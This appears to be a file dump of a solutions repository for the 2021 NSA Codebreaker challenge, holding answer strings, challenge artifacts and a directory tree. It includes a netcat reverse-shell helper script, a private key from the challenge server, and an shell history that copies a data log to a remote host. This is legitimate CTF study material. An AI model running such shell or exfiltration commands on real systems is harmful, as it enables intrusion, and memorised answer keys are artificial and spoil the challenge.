├── task2 ├── solution.txt ├── provided │ └── oops_subnet.txt ├── img │ ├── complete.png │ └── wireshark.png ├── interesting_proxy.log └── interesting_login.json ├── task3 ├── provided │ ├── .gitignore │ └── emails.zip ├── solution.txt ├── img │ ├── pdf.png │ ├── export.png │ └── complete.png ├── decoded_powershell.ps1 └── FOOT_Installation.pdf ├── .gitignore ├── task10 ├── home │ ├── lpuser │ │ ├── .cache │ │ │ ├── motd.legal-displayed │ │ │ └── pip │ │ │ │ └── http │ │ │ │ ├── 0 │ │ │ │ └── 1 │ │ │ │ │ └── a │ │ │ │ │ └── 4 │ │ │ │ │ └── 0 │ │ │ │ │ └── 01a40e69133cae00a418944df93058fcdf9d6f64cf3656d5716568c0 │ │ │ │ ├── 1 │ │ │ │ └── e │ │ │ │ │ └── 0 │ │ │ │ │ └── c │ │ │ │ │ └── f │ │ │ │ │ └── 1e0cf50ab7e279cb3595e3f82ca2e56a79ab6b1b2fea7c7e1cc07adc │ │ │ │ ├── 3 │ │ │ │ ├── 6 │ │ │ │ │ └── 1 │ │ │ │ │ │ └── b │ │ │ │ │ │ └── f │ │ │ │ │ │ └── 361bf053ab706a1212f013301d35a0c4b0af9cd8cc559d24c73d6a6f │ │ │ │ ├── 9 │ │ │ │ │ └── 7 │ │ │ │ │ │ └── f │ │ │ │ │ │ └── a │ │ │ │ │ │ └── 397faec9b49c95a58f31ad93e64b809984f63641ac344ca3dae77c95 │ │ │ │ └── f │ │ │ │ │ └── 4 │ │ │ │ │ └── 9 │ │ │ │ │ └── c │ │ │ │ │ └── 3f49c19c42525485da2c265d82244e942d3619ff5626136ee23992d0 │ │ │ │ ├── 5 │ │ │ │ ├── 0 │ │ │ │ │ └── 3 │ │ │ │ │ │ └── 1 │ │ │ │ │ │ └── 0 │ │ │ │ │ │ └── 503102d3d0fe9962e2765e0bcc5b60b2f8dbfb291113ecdd9d846ff0 │ │ │ │ ├── b │ │ │ │ │ └── 5 │ │ │ │ │ │ └── 7 │ │ │ │ │ │ └── 6 │ │ │ │ │ │ └── 5b576ddc69cb2cda42f61333b85f066e4990a5eab5c96e0670cbb445 │ │ │ │ └── e │ │ │ │ │ └── 9 │ │ │ │ │ └── d │ │ │ │ │ └── e │ │ │ │ │ └── 5e9dea232305798ba88ba37616a378f93aa4d3746e17ee9d115397bf │ │ │ │ ├── 6 │ │ │ │ └── 7 │ │ │ │ │ └── e │ │ │ │ │ └── e │ │ │ │ │ └── 5 │ │ │ │ │ └── 67ee56e64ccb3c248b7ab6c21fd8ea1e7abf5977212b2b98d4fbfbd0 │ │ │ │ ├── 9 │ │ │ │ └── d │ │ │ │ │ └── f │ │ │ │ │ └── 6 │ │ │ │ │ └── 7 │ │ │ │ │ └── 9df6795617dfdd99fd10c30ab346f8577639c010b07ffb6f876047fd │ │ │ │ ├── b │ │ │ │ └── 9 │ │ │ │ │ └── 2 │ │ │ │ │ └── d │ │ │ │ │ └── 5 │ │ │ │ │ └── b92d5efeb2406de109c0263ebfbbe56d85532219b7d0aae49a57069a │ │ │ │ ├── c │ │ │ │ └── 0 │ │ │ │ │ └── 4 │ │ │ │ │ └── 0 │ │ │ │ │ └── 0 │ │ │ │ │ └── c0400f4849a16bb7ec1db13ba6d964327b0869995ab53c54f6668654 │ │ │ │ ├── e │ │ │ │ └── f │ │ │ │ │ └── e │ │ │ │ │ └── f │ │ │ │ │ └── 5 │ │ │ │ │ └── efef5e213b490f3ff7a2a47002a0e0679b63622eadc45614c51cdafa │ │ │ │ └── f │ │ │ │ └── 2 │ │ │ │ └── b │ │ │ │ └── 7 │ │ │ │ └── 8 │ │ │ │ └── f2b78c3992a605224c8bfc40b141f93bc877bfb81af03ca156b6e690 │ │ ├── .lesshst │ │ ├── .local │ │ │ └── lib │ │ │ │ └── python3.6 │ │ │ │ └── site-packages │ │ │ │ ├── cffi-1.14.5.dist-info │ │ │ │ ├── INSTALLER │ │ │ │ ├── top_level.txt │ │ │ │ ├── entry_points.txt │ │ │ │ ├── WHEEL │ │ │ │ ├── METADATA │ │ │ │ ├── LICENSE │ │ │ │ └── RECORD │ │ │ │ ├── six-1.16.0.dist-info │ │ │ │ ├── INSTALLER │ │ │ │ ├── top_level.txt │ │ │ │ ├── WHEEL │ │ │ │ ├── RECORD │ │ │ │ ├── LICENSE │ │ │ │ └── METADATA │ │ │ │ ├── PyNaCl-1.4.0.dist-info │ │ │ │ ├── INSTALLER │ │ │ │ ├── top_level.txt │ │ │ │ ├── WHEEL │ │ │ │ └── RECORD │ │ │ │ ├── pycparser-2.20.dist-info │ │ │ │ ├── INSTALLER │ │ │ │ ├── top_level.txt │ │ │ │ ├── WHEEL │ │ │ │ ├── METADATA │ │ │ │ ├── LICENSE │ │ │ │ └── RECORD │ │ │ │ ├── pycparser │ │ │ │ ├── ply │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── ygen.py │ │ │ │ │ └── ctokens.py │ │ │ │ ├── _build_tables.py │ │ │ │ ├── __init__.py │ │ │ │ ├── ast_transforms.py │ │ │ │ ├── _c_ast.cfg │ │ │ │ └── plyparser.py │ │ │ │ ├── nacl │ │ │ │ ├── _sodium.abi3.so │ │ │ │ ├── bindings │ │ │ │ │ ├── sodium_core.py │ │ │ │ │ ├── randombytes.py │ │ │ │ │ ├── crypto_hash.py │ │ │ │ │ ├── crypto_shorthash.py │ │ │ │ │ ├── crypto_secretbox.py │ │ │ │ │ └── utils.py │ │ │ │ ├── __init__.py │ │ │ │ ├── pwhash │ │ │ │ │ ├── _argon2.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── argon2i.py │ │ │ │ │ └── argon2id.py │ │ │ │ ├── encoding.py │ │ │ │ ├── exceptions.py │ │ │ │ ├── utils.py │ │ │ │ ├── hashlib.py │ │ │ │ └── secret.py │ │ │ │ ├── cffi.libs │ │ │ │ └── libffi-806b1a9d.so.6.0.4 │ │ │ │ ├── _cffi_backend.cpython-36m-x86_64-linux-gnu.so │ │ │ │ └── cffi │ │ │ │ ├── __init__.py │ │ │ │ ├── lock.py │ │ │ │ ├── error.py │ │ │ │ ├── commontypes.py │ │ │ │ ├── _cffi_errors.h │ │ │ │ ├── ffiplatform.py │ │ │ │ ├── pkgconfig.py │ │ │ │ └── cffi_opcode.py │ │ ├── .selected_editor │ │ ├── .bash_history │ │ ├── lp │ │ │ ├── protocol.json │ │ │ ├── runLp.sh │ │ │ ├── commands.py │ │ │ └── lpcrypt.py │ │ ├── .bash_logout │ │ ├── .ssh │ │ │ ├── id_rsa.pub │ │ │ ├── authorized_keys │ │ │ └── id_rsa │ │ ├── .profile │ │ └── .bashrc │ └── psuser │ │ ├── .selected_editor │ │ ├── powershell_lp │ │ ├── .ssh │ │ ├── config │ │ ├── id_rsa.pub │ │ └── id_rsa │ │ ├── .bash_history │ │ ├── .bash_logout │ │ ├── runPs.sh │ │ ├── pslp.log │ │ ├── .profile │ │ ├── ps_server.log │ │ └── .bashrc ├── solution.txt ├── rshell.sh ├── img │ ├── main.png │ ├── entry.png │ ├── print.png │ ├── complete.png │ ├── handle_request.png │ ├── main_reversed.png │ └── read_request_body.png ├── powershell_lp ├── powershell_lp_dbg ├── Dockerfile └── exploit.py ├── task4 ├── solution.txt ├── provided │ ├── .gitignore │ └── artifacts.zip └── img │ ├── hive.png │ ├── complete.png │ ├── hostname.png │ └── unencrypted.png ├── task7 ├── provided │ └── victim_id ├── solution.txt ├── img │ ├── init.png │ ├── patch.gif │ ├── complete.png │ ├── references.png │ ├── make_socket.png │ └── send_fingerprint_to_lp.png ├── patched_make └── Dockerfile ├── task5 ├── .gitattributes ├── img │ └── complete.png ├── solution.txt └── provided │ └── image.tar ├── task0 ├── solution.txt ├── img │ ├── bot.png │ └── complete.png └── README.md ├── task6 ├── make ├── img │ ├── main.png │ ├── complete.png │ ├── gitgrabber.png │ └── wireshark.png ├── solution.txt ├── pub.hex └── Dockerfile ├── task1 ├── solution.txt ├── img │ ├── complete.png │ └── wireshark.png ├── provided │ ├── capture.pcap │ └── ip_ranges.txt ├── ips.txt ├── ip_extractor.sh ├── solve.py └── README.md ├── task8 ├── img │ ├── brute.gif │ ├── sha.png │ ├── encrypt.png │ ├── session.png │ ├── complete.png │ └── sessions.png ├── solution.txt ├── go.mod ├── sanity_check.py ├── go.sum ├── decrypt.py └── brute_force.go ├── task9 ├── img │ ├── magic.png │ ├── complete.png │ └── wireshark.png ├── solution.txt ├── sessions │ ├── root │ ├── chickie │ └── sayre └── parse.py ├── img └── animated_thumbnail.gif └── README.md /task2/solution.txt: -------------------------------------------------------------------------------- 1 | 0X2CA22A 2 | -------------------------------------------------------------------------------- /task3/provided/.gitignore: -------------------------------------------------------------------------------- 1 | *.eml 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_STORE 2 | __pycache__ 3 | -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/motd.legal-displayed: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /task10/solution.txt: -------------------------------------------------------------------------------- 1 | 10.18.197.142 2 | 36490 3 | -------------------------------------------------------------------------------- /task2/provided/oops_subnet.txt: -------------------------------------------------------------------------------- 1 | 192.168.1.48/28 -------------------------------------------------------------------------------- /task4/solution.txt: -------------------------------------------------------------------------------- 1 | builder08 2 | dkr_prd85 3 | -------------------------------------------------------------------------------- /task10/rshell.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nc localhost 1337 4 | -------------------------------------------------------------------------------- /task4/provided/.gitignore: -------------------------------------------------------------------------------- 1 | NTUSER.dat 2 | *.ppk 3 | *.pub 4 | -------------------------------------------------------------------------------- /task7/provided/victim_id: -------------------------------------------------------------------------------- 1 | b46cb904-2657-4178-849c-abb02fe4c598 -------------------------------------------------------------------------------- /task10/home/lpuser/.lesshst: -------------------------------------------------------------------------------- 1 | .less-history-file: 2 | .search 3 | "reboot 4 | "-c 5 | -------------------------------------------------------------------------------- /task5/.gitattributes: -------------------------------------------------------------------------------- 1 | provided/image.tar filter=lfs diff=lfs merge=lfs -text 2 | -------------------------------------------------------------------------------- /task0/solution.txt: -------------------------------------------------------------------------------- 1 | d4a09465360dd22a39910ab7296c815a885fa802474b6aeccbf1b737b26aee3a 2 | -------------------------------------------------------------------------------- /task6/make: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task6/make -------------------------------------------------------------------------------- /task1/solution.txt: -------------------------------------------------------------------------------- 1 | 10.176.152.113 2 | 10.22.113.107 3 | 192.168.1.62 4 | 192.168.8.178 5 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/INSTALLER: -------------------------------------------------------------------------------- 1 | pip 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/INSTALLER: -------------------------------------------------------------------------------- 1 | pip 2 | -------------------------------------------------------------------------------- /task3/solution.txt: -------------------------------------------------------------------------------- 1 | <161585228800.22130.1836621140697675009@oops.net> 2 | nscqp.invalid 3 | -------------------------------------------------------------------------------- /task7/solution.txt: -------------------------------------------------------------------------------- 1 | 1815e9d311000002000211080010b46cb90426574178849cabb02fe4c598ef5a80cb 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/PyNaCl-1.4.0.dist-info/INSTALLER: -------------------------------------------------------------------------------- 1 | pip 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/INSTALLER: -------------------------------------------------------------------------------- 1 | pip 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/top_level.txt: -------------------------------------------------------------------------------- 1 | six 2 | -------------------------------------------------------------------------------- /task0/img/bot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task0/img/bot.png -------------------------------------------------------------------------------- /task10/img/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/main.png -------------------------------------------------------------------------------- /task3/img/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task3/img/pdf.png -------------------------------------------------------------------------------- /task4/img/hive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task4/img/hive.png -------------------------------------------------------------------------------- /task6/img/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task6/img/main.png -------------------------------------------------------------------------------- /task7/img/init.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/init.png -------------------------------------------------------------------------------- /task7/img/patch.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/patch.gif -------------------------------------------------------------------------------- /task7/patched_make: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/patched_make -------------------------------------------------------------------------------- /task8/img/brute.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/brute.gif -------------------------------------------------------------------------------- /task8/img/sha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/sha.png -------------------------------------------------------------------------------- /task9/img/magic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task9/img/magic.png -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/top_level.txt: -------------------------------------------------------------------------------- 1 | pycparser 2 | -------------------------------------------------------------------------------- /task10/img/entry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/entry.png -------------------------------------------------------------------------------- /task10/img/print.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/print.png -------------------------------------------------------------------------------- /task10/powershell_lp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/powershell_lp -------------------------------------------------------------------------------- /task3/img/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task3/img/export.png -------------------------------------------------------------------------------- /task8/img/encrypt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/encrypt.png -------------------------------------------------------------------------------- /task8/img/session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/session.png -------------------------------------------------------------------------------- /task0/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task0/img/complete.png -------------------------------------------------------------------------------- /task1/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task1/img/complete.png -------------------------------------------------------------------------------- /task1/img/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task1/img/wireshark.png -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/PyNaCl-1.4.0.dist-info/top_level.txt: -------------------------------------------------------------------------------- 1 | _sodium 2 | nacl 3 | -------------------------------------------------------------------------------- /task10/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/complete.png -------------------------------------------------------------------------------- /task10/powershell_lp_dbg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/powershell_lp_dbg -------------------------------------------------------------------------------- /task2/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task2/img/complete.png -------------------------------------------------------------------------------- /task2/img/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task2/img/wireshark.png -------------------------------------------------------------------------------- /task3/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task3/img/complete.png -------------------------------------------------------------------------------- /task4/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task4/img/complete.png -------------------------------------------------------------------------------- /task4/img/hostname.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task4/img/hostname.png -------------------------------------------------------------------------------- /task5/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task5/img/complete.png -------------------------------------------------------------------------------- /task6/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task6/img/complete.png -------------------------------------------------------------------------------- /task6/img/gitgrabber.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task6/img/gitgrabber.png -------------------------------------------------------------------------------- /task6/img/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task6/img/wireshark.png -------------------------------------------------------------------------------- /task7/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/complete.png -------------------------------------------------------------------------------- /task7/img/references.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/references.png -------------------------------------------------------------------------------- /task8/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/complete.png -------------------------------------------------------------------------------- /task8/img/sessions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task8/img/sessions.png -------------------------------------------------------------------------------- /task9/img/complete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task9/img/complete.png -------------------------------------------------------------------------------- /task9/img/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task9/img/wireshark.png -------------------------------------------------------------------------------- /img/animated_thumbnail.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/img/animated_thumbnail.gif -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/top_level.txt: -------------------------------------------------------------------------------- 1 | _cffi_backend 2 | cffi 3 | -------------------------------------------------------------------------------- /task10/home/lpuser/.selected_editor: -------------------------------------------------------------------------------- 1 | # Generated by /usr/bin/select-editor 2 | SELECTED_EDITOR="/usr/bin/vim.basic" 3 | -------------------------------------------------------------------------------- /task10/home/psuser/.selected_editor: -------------------------------------------------------------------------------- 1 | # Generated by /usr/bin/select-editor 2 | SELECTED_EDITOR="/usr/bin/vim.basic" 3 | -------------------------------------------------------------------------------- /task3/provided/emails.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task3/provided/emails.zip -------------------------------------------------------------------------------- /task4/img/unencrypted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task4/img/unencrypted.png -------------------------------------------------------------------------------- /task7/img/make_socket.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/make_socket.png -------------------------------------------------------------------------------- /task1/provided/capture.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task1/provided/capture.pcap -------------------------------------------------------------------------------- /task10/img/handle_request.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/handle_request.png -------------------------------------------------------------------------------- /task10/img/main_reversed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/main_reversed.png -------------------------------------------------------------------------------- /task4/provided/artifacts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task4/provided/artifacts.zip -------------------------------------------------------------------------------- /task6/solution.txt: -------------------------------------------------------------------------------- 1 | 198.51.100.77 2 | 3329c211bf130e9192ac27e3b9d32e8062aa83766f4d072edabc54086a574b73 3 | 1.2.2.0-EAA 4 | -------------------------------------------------------------------------------- /task10/home/psuser/powershell_lp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/psuser/powershell_lp -------------------------------------------------------------------------------- /task10/img/read_request_body.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/img/read_request_body.png -------------------------------------------------------------------------------- /task7/img/send_fingerprint_to_lp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task7/img/send_fingerprint_to_lp.png -------------------------------------------------------------------------------- /task5/solution.txt: -------------------------------------------------------------------------------- 1 | weber.theresa@panic.invalid 2 | https://git-svr-12.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git 3 | /usr/bin/make 4 | -------------------------------------------------------------------------------- /task8/solution.txt: -------------------------------------------------------------------------------- 1 | 9fb113fd-7f2c-4ba0-b58b-e441b92d7600 2 | b6c5957f-42ff-473a-85e2-9289477c1209 3 | 3fe97a45-26ea-43d5-aa21-ef55a1a4ced8 4 | -------------------------------------------------------------------------------- /task10/home/psuser/.ssh/config: -------------------------------------------------------------------------------- 1 | Host nexthop 2 | Hostname: 10.18.197.142 3 | User: user 4 | IdentityFile: /home/psuser/.ssh/id_rsa 5 | -------------------------------------------------------------------------------- /task10/home/lpuser/.bash_history: -------------------------------------------------------------------------------- 1 | ls 2 | cd lp/ 3 | ls 4 | cat runLp.sh 5 | netstat -tulpn 6 | ps aux 7 | cat lp.py 8 | statls 9 | ls 10 | cat protocol.py 11 | -------------------------------------------------------------------------------- /task5/provided/image.tar: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:c456de32616dda32dbcd7b1aa1dcdd5fd9511fac42f69a2dcb6ea00958b8a2d7 3 | size 396636160 4 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/entry_points.txt: -------------------------------------------------------------------------------- 1 | [distutils.setup_keywords] 2 | cffi_modules = cffi.setuptools_ext:cffi_modules 3 | 4 | -------------------------------------------------------------------------------- /task10/home/psuser/.bash_history: -------------------------------------------------------------------------------- 1 | cat .bash_history 2 | ls -la 3 | date 4 | wc ps_* 5 | less ps_data.log 6 | less ps_server.log 7 | man scp 8 | scp -P 36490 ~/ps_data.log nexthop: 9 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/ply/__init__.py: -------------------------------------------------------------------------------- 1 | # PLY package 2 | # Author: David Beazley (dave@dabeaz.com) 3 | 4 | __version__ = '3.9' 5 | __all__ = ['lex','yacc'] 6 | -------------------------------------------------------------------------------- /task1/ips.txt: -------------------------------------------------------------------------------- 1 | 10.176.152.113 2 | 10.22.113.107 3 | 10.4.83.154 4 | 172.27.231.158 5 | 192.168.1.62 6 | 192.168.165.227 7 | 192.168.52.129 8 | 192.168.8.178 9 | 192.168.90.188 10 | 198.18.157.4 11 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/PyNaCl-1.4.0.dist-info/WHEEL: -------------------------------------------------------------------------------- 1 | Wheel-Version: 1.0 2 | Generator: bdist_wheel (0.34.2) 3 | Root-Is-Purelib: false 4 | Tag: cp35-abi3-manylinux1_x86_64 5 | 6 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/WHEEL: -------------------------------------------------------------------------------- 1 | Wheel-Version: 1.0 2 | Generator: bdist_wheel (0.36.2) 3 | Root-Is-Purelib: false 4 | Tag: cp36-cp36m-manylinux1_x86_64 5 | 6 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/_sodium.abi3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/_sodium.abi3.so -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/WHEEL: -------------------------------------------------------------------------------- 1 | Wheel-Version: 1.0 2 | Generator: bdist_wheel (0.34.2) 3 | Root-Is-Purelib: true 4 | Tag: py2-none-any 5 | Tag: py3-none-any 6 | 7 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/WHEEL: -------------------------------------------------------------------------------- 1 | Wheel-Version: 1.0 2 | Generator: bdist_wheel (0.36.2) 3 | Root-Is-Purelib: true 4 | Tag: py2-none-any 5 | Tag: py3-none-any 6 | 7 | -------------------------------------------------------------------------------- /task9/solution.txt: -------------------------------------------------------------------------------- 1 | 28d77020-b895-42b1-a83d-ce34d0d3c3af 2 | f70bcd11-b645-46ac-a636-87639e392c72 3 | 064f25a6-1ba9-499c-a098-4dccce435ef4 4 | 63389ec6-88c7-4c5a-bf29-be567f65cf35 5 | e49ad3ac-6564-4b4f-b71e-2782b04a9459 6 | -------------------------------------------------------------------------------- /task10/home/lpuser/lp/protocol.json: -------------------------------------------------------------------------------- 1 | {"s": 404089299, "e": 4015685835, "b": 4352, "priv": "c6b871792a32fa7718a2c0d2170eaeacc21f8815059e0f429db2cdd40e30b368", "pub": "3329c211bf130e9192ac27e3b9d32e8062aa83766f4d072edabc54086a574b73"} 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi.libs/libffi-806b1a9d.so.6.0.4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.local/lib/python3.6/site-packages/cffi.libs/libffi-806b1a9d.so.6.0.4 -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/_cffi_backend.cpython-36m-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.local/lib/python3.6/site-packages/_cffi_backend.cpython-36m-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/0/1/a/4/0/01a40e69133cae00a418944df93058fcdf9d6f64cf3656d5716568c0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/0/1/a/4/0/01a40e69133cae00a418944df93058fcdf9d6f64cf3656d5716568c0 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/1/e/0/c/f/1e0cf50ab7e279cb3595e3f82ca2e56a79ab6b1b2fea7c7e1cc07adc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/1/e/0/c/f/1e0cf50ab7e279cb3595e3f82ca2e56a79ab6b1b2fea7c7e1cc07adc -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/3/6/1/b/f/361bf053ab706a1212f013301d35a0c4b0af9cd8cc559d24c73d6a6f: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/3/6/1/b/f/361bf053ab706a1212f013301d35a0c4b0af9cd8cc559d24c73d6a6f -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/3/9/7/f/a/397faec9b49c95a58f31ad93e64b809984f63641ac344ca3dae77c95: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/3/9/7/f/a/397faec9b49c95a58f31ad93e64b809984f63641ac344ca3dae77c95 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/3/f/4/9/c/3f49c19c42525485da2c265d82244e942d3619ff5626136ee23992d0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/3/f/4/9/c/3f49c19c42525485da2c265d82244e942d3619ff5626136ee23992d0 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/5/0/3/1/0/503102d3d0fe9962e2765e0bcc5b60b2f8dbfb291113ecdd9d846ff0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/5/0/3/1/0/503102d3d0fe9962e2765e0bcc5b60b2f8dbfb291113ecdd9d846ff0 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/5/b/5/7/6/5b576ddc69cb2cda42f61333b85f066e4990a5eab5c96e0670cbb445: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/5/b/5/7/6/5b576ddc69cb2cda42f61333b85f066e4990a5eab5c96e0670cbb445 -------------------------------------------------------------------------------- 